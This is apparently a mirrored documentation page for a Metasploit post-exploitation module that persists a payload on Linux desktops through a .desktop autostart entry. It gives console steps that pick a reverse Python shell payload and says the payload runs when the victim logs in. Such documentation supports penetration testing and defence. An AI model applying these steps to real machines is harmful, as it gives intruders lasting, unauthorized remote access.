Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/documentation/modules/exploit/linux/local/autostart_persistence.md
Views: 11788
Autostart persistence
This module persist a payload by creating a .desktop
entry for Linux desktop targets.
Testing
Exploit a box
use exploit/linux/local/autostart_persistence
set SESSION <id>
set PAYLOAD cmd/unix/reverse_python
(for instance), configure the payload as neededexploit
When the victim logs in your payload will be executed!
Options
NAME
Name of the .desktop
entry to add, if not specified it will be chosen randomly.